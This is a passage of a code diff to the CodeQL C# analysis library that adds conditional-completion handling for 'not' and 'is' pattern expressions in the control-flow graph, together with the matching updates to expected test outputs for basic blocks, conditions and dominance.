switchMatching(s, _, pe) } +/** + * Holds if `pe` must have a matching completion, and `e` is the expression + * that is being matched. + */ +private predicate mustHaveMatchingCompletion(Expr e, PatternExpr pe) { + exists(Switch s | + switchMatching(s, _, pe) and + e = s.getExpr() + ) + or + pe = any(IsExpr ie | inBooleanContext(ie) and e = ie.getExpr()).getPattern() + or + pe = any(UnaryPatternExpr upe | mustHaveMatchingCompletion(e, upe)).getPattern() +} /** * Holds if a normal completion of `cfe` must be a matching completion. Thats is, @@ -565,7 +602,13 @@ class SimpleCompletion extends NonNestedNormalCompletion, TSimpleCompletion { * completion (`NullnessCompletion`), a matching completion (`MatchingCompletion`), * or an emptiness completion (`EmptinessCompletion`). */ -abstract class ConditionalCompletion extends NonNestedNormalCompletion { } +abstract class ConditionalCompletion extends NonNestedNormalCompletion { + /** Gets the Boolean value of this completion. */ + abstract boolean getValue(); + + /** Gets the dual completion. */ + abstract ConditionalCompletion getDual(); +} /** * A completion that represents evaluation of an expression @@ -576,10 +619,9 @@ class BooleanCompletion extends ConditionalCompletion { BooleanCompletion() { this = TBooleanCompletion(value) } - /** Gets the Boolean value of this completion. */ - boolean getValue() { result = value } + override boolean getValue() { result = value } - BooleanCompletion getDual() { result = TBooleanCompletion(value.booleanNot()) } + override BooleanCompletion getDual() { result = TBooleanCompletion(value.booleanNot()) } override BooleanSuccessor getAMatchingSuccessorType() { result.getValue() = value } @@ -611,6 +653,10 @@ class NullnessCompletion extends ConditionalCompletion, TNullnessCompletion { /** Holds if the last sub expression of this expression evaluates to a non-`null` value. */ predicate isNonNull() { value = false } + override boolean getValue() { result = value } + + override NullnessCompletion getDual() { result = TNullnessCompletion(value.booleanNot()) } + override NullnessSuccessor getAMatchingSuccessorType() { result.getValue() = value } override string toString() { if this.isNull() then result = "null" else result = "non-null" } @@ -631,6 +677,10 @@ class MatchingCompletion extends ConditionalCompletion, TMatchingCompletion { /** Holds if there is not a match. */ predicate isNonMatch() { value = false } + override boolean getValue() { result = value } + + override MatchingCompletion getDual() { result = TMatchingCompletion(value.booleanNot()) } + override MatchingSuccessor getAMatchingSuccessorType() { result.getValue() = value } override string toString() { if this.isMatch() then result = "match" else result = "no-match" } @@ -648,6 +698,10 @@ class EmptinessCompletion extends ConditionalCompletion, TEmptinessCompletion { /** Holds if the emptiness test evaluates to `true`. */ predicate isEmpty() { value = true } + override boolean getValue() { result = value } + + override EmptinessCompletion getDual() { result = TEmptinessCompletion(value.booleanNot()) } + override EmptinessSuccessor getAMatchingSuccessorType() { result.getValue() = value } override string toString() { if this.isEmpty() then result = "empty" else result = "non-empty" } diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll index c2a170080b1..cb22d51aee8 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll @@ -368,7 +368,8 @@ module Expressions { not this instanceof NoNodeExpr and not this instanceof SwitchExpr and not this instanceof SwitchCaseExpr and - not this instanceof ConstructorInitializer + not this instanceof ConstructorInitializer and + not this instanceof NotPatternExpr } final override ControlFlowElement getChildElement(int i) { result = getExprChild(this, i) } @@ -515,20 +516,14 @@ module Expressions { LogicalNotExprTree() { operand = this.getOperand() } - final override predicate propagatesAbnormal(ControlFlowElement child) { - child = this.getOperand() - } + final override predicate propagatesAbnormal(ControlFlowElement child) { child = operand } final override predicate first(ControlFlowElement first) { first(operand, first) } final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { succ = this and - ( - last(operand, pred, c.(BooleanCompletion).getDual()) - or - last(operand, pred, c) and - c instanceof SimpleCompletion - ) + last(operand, pred, c) and + c instanceof NormalCompletion } } @@ -925,6 +920,22 @@ module Expressions { ) } } + + private class NotPatternExprTree extends PostOrderTree, NotPatternExpr { + private PatternExpr operand; + + NotPatternExprTree() { operand = this.getPattern() } + + final override predicate propagatesAbnormal(ControlFlowElement child) { child = operand } + + final override predicate first(ControlFlowElement first) { first(operand, first) } + + final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { + succ = this and + last(operand, pred, c) and + c instanceof NormalCompletion + } + } } module Statements { diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll index d8e881a4e93..a1d9bc249d7 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll @@ -465,6 +465,12 @@ module ConditionalCompletionSplitting { or last(succ.(SwitchCaseExpr).getBody(), pred, c) and completion = c + or + last(succ.(NotPatternExpr).getPattern(), pred, c) and + completion.(MatchingCompletion).getDual() = c + or + last(succ.(IsExpr).getPattern(), pred, c) and + completion.(BooleanCompletion).getValue() = c.(MatchingCompletion).getValue() ) } diff --git a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected index 4b6d6aea058..557f5ea4df6 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected @@ -924,11 +924,17 @@ | NullCoalescing.cs:15:31:15:31 | 0 | NullCoalescing.cs:16:17:16:18 | "" | 5 | | NullCoalescing.cs:16:17:16:25 | ... ?? ... | NullCoalescing.cs:17:13:17:19 | (...) ... | 5 | | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:13:10:13:11 | exit M6 | 4 | -| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:8:13:8:23 | ... is ... | 9 | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:8:18:8:23 | Int32 i1 | 8 | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:8:13:8:23 | [false] ... is ... | 1 | +| Patterns.cs:8:13:8:23 | [true] ... is ... | Patterns.cs:8:13:8:23 | [true] ... is ... | 1 | | Patterns.cs:9:9:11:9 | {...} | Patterns.cs:10:13:10:42 | call to method WriteLine | 6 | -| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:18:12:31 | ... is ... | 4 | +| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:23:12:31 | String s1 | 3 | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:12:18:12:31 | [false] ... is ... | 1 | +| Patterns.cs:12:18:12:31 | [true] ... is ... | Patterns.cs:12:18:12:31 | [true] ... is ... | 1 | | Patterns.cs:13:9:15:9 | {...} | Patterns.cs:14:13:14:45 | call to method WriteLine | 6 | -| Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:18:16:28 | ... is ... | 4 | +| Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:23:16:28 | Object v1 | 3 | +| Patterns.cs:16:18:16:28 | [false] ... is ... | Patterns.cs:16:18:16:28 | [false] ... is ... | 1 | +| Patterns.cs:16:18:16:28 | [true] ... is ... | Patterns.cs:16:18:16:28 | [true] ... is ... | 1 | | Patterns.cs:17:9:18:9 | {...} | Patterns.cs:17:9:18:9 | {...} | 1 | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:22:18:22:22 | "xyz" | 4 | | Patterns.cs:23:17:23:22 | break; | Patterns.cs:23:17:23:22 | break; | 1 | @@ -944,26 +950,37 @@ | Patterns.cs:35:13:35:20 | default: | Patterns.cs:37:17:37:22 | break; | 5 | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:5:10:5:11 | exit M1 | 4 | | Patterns.cs:47:24:47:25 | enter M2 | Patterns.cs:47:24:47:25 | exit M2 | 7 | -| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:9:51:21 | ... is ... | 5 | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:18:51:21 | null | 3 | +| Patterns.cs:51:9:51:21 | [false] ... is ... | Patterns.cs:51:9:51:21 | [false] ... is ... | 1 | +| Patterns.cs:51:9:51:21 | [true] ... is ... | Patterns.cs:51:9:51:21 | [true] ... is ... | 1 | | Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:50:24:50:25 | exit M3 | 3 | +| Patterns.cs:51:14:51:21 | [match] not ... | Patterns.cs:51:14:51:21 | [match] not ... | 1 | +| Patterns.cs:51:14:51:21 | [no-match] not ... | Patterns.cs:51:14:51:21 | [no-match] not ... | 1 | | Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:25:51:30 | ... is ... | 3 | | Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:34:51:39 | ... is ... | 3 | | Patterns.cs:53:24:53:25 | enter M4 | Patterns.cs:53:24:53:25 | exit M4 | 10 | -| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:60:13:60:17 | not ... | 5 | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:60:17:60:17 | 1 | 4 | | Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:56:26:56:27 | exit M5 | 4 | +| Patterns.cs:60:13:60:17 | [match] not ... | Patterns.cs:60:13:60:17 | [match] not ... | 1 | +| Patterns.cs:60:13:60:17 | [no-match] not ... | Patterns.cs:60:13:60:17 | [no-match] not ... | 1 | | Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:13:60:28 | ... => ... | 2 | | Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:13:61:13 | _ | 1 | | Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:13:61:24 | ... => ... | 2 | -| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:69:13:69:17 | not ... | 5 | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:69:17:69:17 | 2 | 4 | +| Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:69:13:69:17 | [no-match] not ... | 1 | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:13:70:13 | 2 | 1 | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:65:26:65:27 | exit M6 | 6 | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | exit M1 | 7 | -| PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:12:13:12:21 | ... is ... | 6 | +| PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:12:18:12:21 | null | 5 | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | exit M2 | 2 | +| PostDominance.cs:12:13:12:21 | [false] ... is ... | PostDominance.cs:12:13:12:21 | [false] ... is ... | 1 | +| PostDominance.cs:12:13:12:21 | [true] ... is ... | PostDominance.cs:12:13:12:21 | [true] ... is ... | 1 | | PostDominance.cs:13:13:13:19 | return ...; | PostDominance.cs:13:13:13:19 | return ...; | 1 | | PostDominance.cs:14:9:14:29 | ...; | PostDominance.cs:14:9:14:28 | call to method WriteLine | 3 | -| PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:19:13:19:21 | ... is ... | 6 | +| PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:19:18:19:21 | null | 5 | | PostDominance.cs:17:10:17:11 | exit M3 | PostDominance.cs:17:10:17:11 | exit M3 | 1 | +| PostDominance.cs:19:13:19:21 | [false] ... is ... | PostDominance.cs:19:13:19:21 | [false] ... is ... | 1 | +| PostDominance.cs:19:13:19:21 | [true] ... is ... | PostDominance.cs:19:13:19:21 | [true] ... is ... | 1 | | PostDominance.cs:20:45:20:53 | nameof(...) | PostDominance.cs:17:10:17:11 | exit M3 (abnormal) | 4 | | PostDominance.cs:21:9:21:29 | ...; | PostDominance.cs:17:10:17:11 | exit M3 (normal) | 4 | | Qualifiers.cs:7:16:7:21 | enter Method | Qualifiers.cs:7:16:7:21 | exit Method | 4 | @@ -1079,7 +1096,9 @@ | Switch.cs:156:50:156:52 | "b" | Switch.cs:156:41:156:52 | ... => ... | 2 | | Switch.cs:158:13:158:49 | ...; | Switch.cs:158:13:158:48 | call to method WriteLine | 5 | | Switch.cs:160:13:160:49 | ...; | Switch.cs:160:13:160:48 | call to method WriteLine | 5 | -| TypeAccesses.cs:3:10:3:10 | enter M | TypeAccesses.cs:7:13:7:22 | ... is ... | 14 | +| TypeAccesses.cs:3:10:3:10 | enter M | TypeAccesses.cs:7:18:7:22 | Int32 j | 13 | +| TypeAccesses.cs:7:13:7:22 | [false] ... is ... | TypeAccesses.cs:7:13:7:22 | [false] ... is ... | 1 | +| TypeAccesses.cs:7:13:7:22 | [true] ... is ... | TypeAccesses.cs:7:13:7:22 | [true] ... is ... | 1 | | TypeAccesses.cs:7:25:7:25 | ; | TypeAccesses.cs:7:25:7:25 | ; | 1 | | TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:3:10:3:10 | exit M | 5 | | VarDecls.cs:5:18:5:19 | enter M1 | VarDecls.cs:5:18:5:19 | exit M1 | 19 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected index a65a25d0a89..3f8406344b7 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected @@ -1783,15 +1783,42 @@ conditionBlock | NullCoalescing.cs:15:31:15:31 | 0 | NullCoalescing.cs:16:17:16:25 | ... ?? ... | false | | NullCoalescing.cs:15:31:15:31 | 0 | NullCoalescing.cs:17:13:17:24 | ... ?? ... | false | | NullCoalescing.cs:16:17:16:25 | ... ?? ... | NullCoalescing.cs:17:13:17:24 | ... ?? ... | false | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:8:13:8:23 | [false] ... is ... | false | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:8:13:8:23 | [true] ... is ... | true | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:9:9:11:9 | {...} | true | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:12:14:18:9 | if (...) ... | false | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:12:18:12:31 | [false] ... is ... | false | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:12:18:12:31 | [true] ... is ... | false | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:13:9:15:9 | {...} | false | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:16:14:18:9 | if (...) ... | false | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:16:18:16:28 | [false] ... is ... | false | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:16:18:16:28 | [true] ... is ... | false | | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:17:9:18:9 | {...} | false | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:12:14:18:9 | if (...) ... | false | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:12:18:12:31 | [false] ... is ... | false | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:12:18:12:31 | [true] ... is ... | false | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:13:9:15:9 | {...} | false | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:16:14:18:9 | if (...) ... | false | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:16:18:16:28 | [false] ... is ... | false | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:16:18:16:28 | [true] ... is ... | false | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:17:9:18:9 | {...} | false | +| Patterns.cs:8:13:8:23 | [true] ... is ... | Patterns.cs:9:9:11:9 | {...} | true | +| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:18:12:31 | [false] ... is ... | false | +| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:18:12:31 | [true] ... is ... | true | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:13:9:15:9 | {...} | true | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:16:14:18:9 | if (...) ... | false | +| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:16:18:16:28 | [false] ... is ... | false | +| Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:16:18:16:28 | [true] ... is ... | false | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:17:9:18:9 | {...} | false | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:16:14:18:9 | if (...) ... | false | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:16:18:16:28 | [false] ... is ... | false | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:16:18:16:28 | [true] ... is ... | false | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:17:9:18:9 | {...} | false | +| Patterns.cs:12:18:12:31 | [true] ... is ... | Patterns.cs:13:9:15:9 | {...} | true | +| Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:18:16:28 | [false] ... is ... | false | +| Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:18:16:28 | [true] ... is ... | true | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:17:9:18:9 | {...} | true | +| Patterns.cs:16:18:16:28 | [true] ... is ... | Patterns.cs:17:9:18:9 | {...} | true | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:23:17:23:22 | break; | true | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:24:13:24:36 | case ...: | false | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:24:30:24:31 | access to local variable i2 | false | @@ -1818,19 +1845,45 @@ conditionBlock | Patterns.cs:30:13:30:27 | case ...: | Patterns.cs:35:13:35:20 | default: | false | | Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:34:17:34:22 | break; | true | | Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:35:13:35:20 | default: | false | -| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:25:51:25 | access to parameter c | true | -| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:34:51:34 | access to parameter c | false | -| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:60:22:60:28 | "not 1" | true | -| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:61:13:61:13 | _ | false | -| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:61:18:61:24 | "other" | false | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:9:51:21 | [false] ... is ... | true | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:9:51:21 | [true] ... is ... | false | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:14:51:21 | [match] not ... | false | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:14:51:21 | [no-match] not ... | true | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:25:51:25 | access to parameter c | false | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:34:51:34 | access to parameter c | true | +| Patterns.cs:51:9:51:21 | [false] ... is ... | Patterns.cs:51:34:51:34 | access to parameter c | false | +| Patterns.cs:51:9:51:21 | [true] ... is ... | Patterns.cs:51:25:51:25 | access to parameter c | true | +| Patterns.cs:51:14:51:21 | [match] not ... | Patterns.cs:51:9:51:21 | [true] ... is ... | true | +| Patterns.cs:51:14:51:21 | [match] not ... | Patterns.cs:51:25:51:25 | access to parameter c | true | +| Patterns.cs:51:14:51:21 | [no-match] not ... | Patterns.cs:51:9:51:21 | [false] ... is ... | false | +| Patterns.cs:51:14:51:21 | [no-match] not ... | Patterns.cs:51:34:51:34 | access to parameter c | false | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:60:13:60:17 | [match] not ... | false | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:60:13:60:17 | [no-match] not ... | true | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:60:22:60:28 | "not 1" | false | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:61:13:61:13 | _ | true | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:61:18:61:24 | "other" | true | +| Patterns.cs:60:13:60:17 | [match] not ... | Patterns.cs:60:22:60:28 | "not 1" | true | +| Patterns.cs:60:13:60:17 | [no-match] not ... | Patterns.cs:61:13:61:13 | _ | false | +| Patterns.cs:60:13:60:17 | [no-match] not ... | Patterns.cs:61:18:61:24 | "other" | false | | Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:18:61:24 | "other" | true | -| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:70:13:70:13 | 2 | false | -| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:70:18:70:27 | "possible" | false | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:69:13:69:17 | [no-match] not ... | true | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:70:13:70:13 | 2 | true | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:70:18:70:27 | "possible" | true | +| Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:70:13:70:13 | 2 | false | +| Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:70:18:70:27 | "possible" | false | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:18:70:27 | "possible" | true | +| PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:12:13:12:21 | [false] ... is ... | false | +| PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:12:13:12:21 | [true] ... is ... | true | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:13:13:13:19 | return ...; | true | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:14:9:14:29 | ...; | false | +| PostDominance.cs:12:13:12:21 | [false] ... is ... | PostDominance.cs:14:9:14:29 | ...; | false | +| PostDominance.cs:12:13:12:21 | [true] ... is ... | PostDominance.cs:13:13:13:19 | return ...; | true | +| PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:19:13:19:21 | [false] ... is ... | false | +| PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:19:13:19:21 | [true] ... is ... | true | | PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:20:45:20:53 | nameof(...) | true | | PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:21:9:21:29 | ...; | false | +| PostDominance.cs:19:13:19:21 | [false] ... is ... | PostDominance.cs:21:9:21:29 | ...; | false | +| PostDominance.cs:19:13:19:21 | [true] ... is ... | PostDominance.cs:20:45:20:53 | nameof(...) | true | | Switch.cs:10:10:10:11 | enter M2 | Switch.cs:10:10:10:11 | exit M2 (abnormal) | false | | Switch.cs:10:10:10:11 | enter M2 | Switch.cs:15:17:15:23 | return ...; | true | | Switch.cs:10:10:10:11 | enter M2 | Switch.cs:16:13:16:19 | case ...: | false | @@ -1999,7 +2052,10 @@ conditionBlock | Switch.cs:156:17:156:54 | ... switch { ... } | Switch.cs:158:13:158:49 | ...; | true | | Switch.cs:156:17:156:54 | ... switch { ... } | Switch.cs:160:13:160:49 | ...; | false | | Switch.cs:156:41:156:45 | false | Switch.cs:156:50:156:52 | "b" | true | +| TypeAccesses.cs:3:10:3:10 | enter M | TypeAccesses.cs:7:13:7:22 | [false] ... is ... | false | +| TypeAccesses.cs:3:10:3:10 | enter M | TypeAccesses.cs:7:13:7:22 | [true] ... is ... | true | | TypeAccesses.cs:3:10:3:10 | enter M | TypeAccesses.cs:7:25:7:25 | ; | true | +| TypeAccesses.cs:7:13:7:22 | [true] ... is ... | TypeAccesses.cs:7:25:7:25 | ; | true | | VarDecls.cs:19:7:19:8 | enter M3 | VarDecls.cs:25:24:25:24 | access to local variable x | true | | VarDecls.cs:19:7:19:8 | enter M3 | VarDecls.cs:25:28:25:28 | access to local variable y | false | | cflow.cs:5:17:5:20 | enter Main | cflow.cs:12:13:12:49 | ...; | true | @@ -2712,20 +2768,20 @@ conditionFlow | NullCoalescing.cs:11:51:11:58 | [true] ... && ... | NullCoalescing.cs:11:44:11:59 | [true] ... ?? ... | true | | NullCoalescing.cs:11:57:11:58 | access to parameter b3 | NullCoalescing.cs:11:51:11:58 | [false] ... && ... | false | | NullCoalescing.cs:11:57:11:58 | access to parameter b3 | NullCoalescing.cs:11:51:11:58 | [true] ... && ... | true | -| Patterns.cs:8:13:8:23 | ... is ... | Patterns.cs:9:9:11:9 | {...} | true | -| Patterns.cs:8:13:8:23 | ... is ... | Patterns.cs:12:14:18:9 | if (...) ... | false | -| Patterns.cs:12:18:12:31 | ... is ... | Patterns.cs:13:9:15:9 | {...} | true | -| Patterns.cs:12:18:12:31 | ... is ... | Patterns.cs:16:14:18:9 | if (...) ... | false | -| Patterns.cs:16:18:16:28 | ... is ... | Patterns.cs:17:9:18:9 | {...} | true | -| Patterns.cs:16:18:16:28 | ... is ... | Patterns.cs:20:9:38:9 | switch (...) {...} | false | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:12:14:18:9 | if (...) ... | false | +| Patterns.cs:8:13:8:23 | [true] ... is ... | Patterns.cs:9:9:11:9 | {...} | true | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:16:14:18:9 | if (...) ... | false | +| Patterns.cs:12:18:12:31 | [true] ... is ... | Patterns.cs:13:9:15:9 | {...} | true | +| Patterns.cs:16:18:16:28 | [false] ... is ... | Patterns.cs:20:9:38:9 | switch (...) {...} | false | +| Patterns.cs:16:18:16:28 | [true] ... is ... | Patterns.cs:17:9:18:9 | {...} | true | | Patterns.cs:24:30:24:35 | ... > ... | Patterns.cs:25:17:25:52 | ...; | true | | Patterns.cs:24:30:24:35 | ... > ... | Patterns.cs:27:13:27:24 | case ...: | false | -| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:25:51:25 | access to parameter c | true | -| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:34:51:34 | access to parameter c | false | -| PostDominance.cs:12:13:12:21 | ... is ... | PostDominance.cs:13:13:13:19 | return ...; | true | -| PostDominance.cs:12:13:12:21 | ... is ... | PostDominance.cs:14:9:14:29 | ...; | false | -| PostDominance.cs:19:13:19:21 | ... is ... | PostDominance.cs:20:45:20:53 | nameof(...) | true | -| PostDominance.cs:19:13:19:21 | ... is ... | PostDominance.cs:21:9:21:29 | ...; | false | +| Patterns.cs:51:9:51:21 | [false] ... is ... | Patterns.cs:51:34:51:34 | access to parameter c | false | +| Patterns.cs:51:9:51:21 | [true] ... is ... | Patterns.cs:51:25:51:25 | access to parameter c | true | +| PostDominance.cs:12:13:12:21 | [false] ... is ... | PostDominance.cs:14:9:14:29 | ...; | false | +| PostDominance.cs:12:13:12:21 | [true] ... is ... | PostDominance.cs:13:13:13:19 | return ...; | true | +| PostDominance.cs:19:13:19:21 | [false] ... is ... | PostDominance.cs:21:9:21:29 | ...; | false | +| PostDominance.cs:19:13:19:21 | [true] ... is ... | PostDominance.cs:20:45:20:53 | nameof(...) | true | | Switch.cs:21:21:21:29 | ... == ... | Switch.cs:22:21:22:27 | return ...; | true | | Switch.cs:21:21:21:29 | ... == ... | Switch.cs:23:27:23:27 | 0 | false | | Switch.cs:24:32:24:43 | ... > ... | Switch.cs:24:32:24:55 | [false] ... && ... | false | @@ -2752,8 +2808,8 @@ conditionFlow | Switch.cs:125:42:125:46 | false | Switch.cs:125:37:125:46 | [false] ... => ... | false | | Switch.cs:157:13:157:13 | access to parameter b | Switch.cs:158:13:158:49 | ...; | true | | Switch.cs:157:13:157:13 | access to parameter b | Switch.cs:160:13:160:49 | ...; | false | -| TypeAccesses.cs:7:13:7:22 | ... is ... | TypeAccesses.cs:7:25:7:25 | ; | true | -| TypeAccesses.cs:7:13:7:22 | ... is ... | TypeAccesses.cs:8:9:8:28 | ... ...; | false | +| TypeAccesses.cs:7:13:7:22 | [false] ... is ... | TypeAccesses.cs:8:9:8:28 | ... ...; | false | +| TypeAccesses.cs:7:13:7:22 | [true] ... is ... | TypeAccesses.cs:7:25:7:25 | ; | true | | VarDecls.cs:25:20:25:20 | access to parameter b | VarDecls.cs:25:24:25:24 | access to local variable x | true | | VarDecls.cs:25:20:25:20 | access to parameter b | VarDecls.cs:25:28:25:28 | access to local variable y | false | | cflow.cs:11:13:11:17 | ... > ... | cflow.cs:12:13:12:49 | ...; | true | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected index 04ec56a11a4..e0f56f17f5c 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected @@ -3058,9 +3058,10 @@ dominance | Patterns.cs:7:20:7:23 | null | Patterns.cs:7:16:7:23 | Object o = ... | | Patterns.cs:8:9:18:9 | if (...) ... | Patterns.cs:8:13:8:13 | access to local variable o | | Patterns.cs:8:13:8:13 | access to local variable o | Patterns.cs:8:18:8:23 | Int32 i1 | -| Patterns.cs:8:13:8:23 | ... is ... | Patterns.cs:9:9:11:9 | {...} | -| Patterns.cs:8:13:8:23 | ... is ... | Patterns.cs:12:14:18:9 | if (...) ... | -| Patterns.cs:8:18:8:23 | Int32 i1 | Patterns.cs:8:13:8:23 | ... is ... | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:12:14:18:9 | if (...) ... | +| Patterns.cs:8:13:8:23 | [true] ... is ... | Patterns.cs:9:9:11:9 | {...} | +| Patterns.cs:8:18:8:23 | 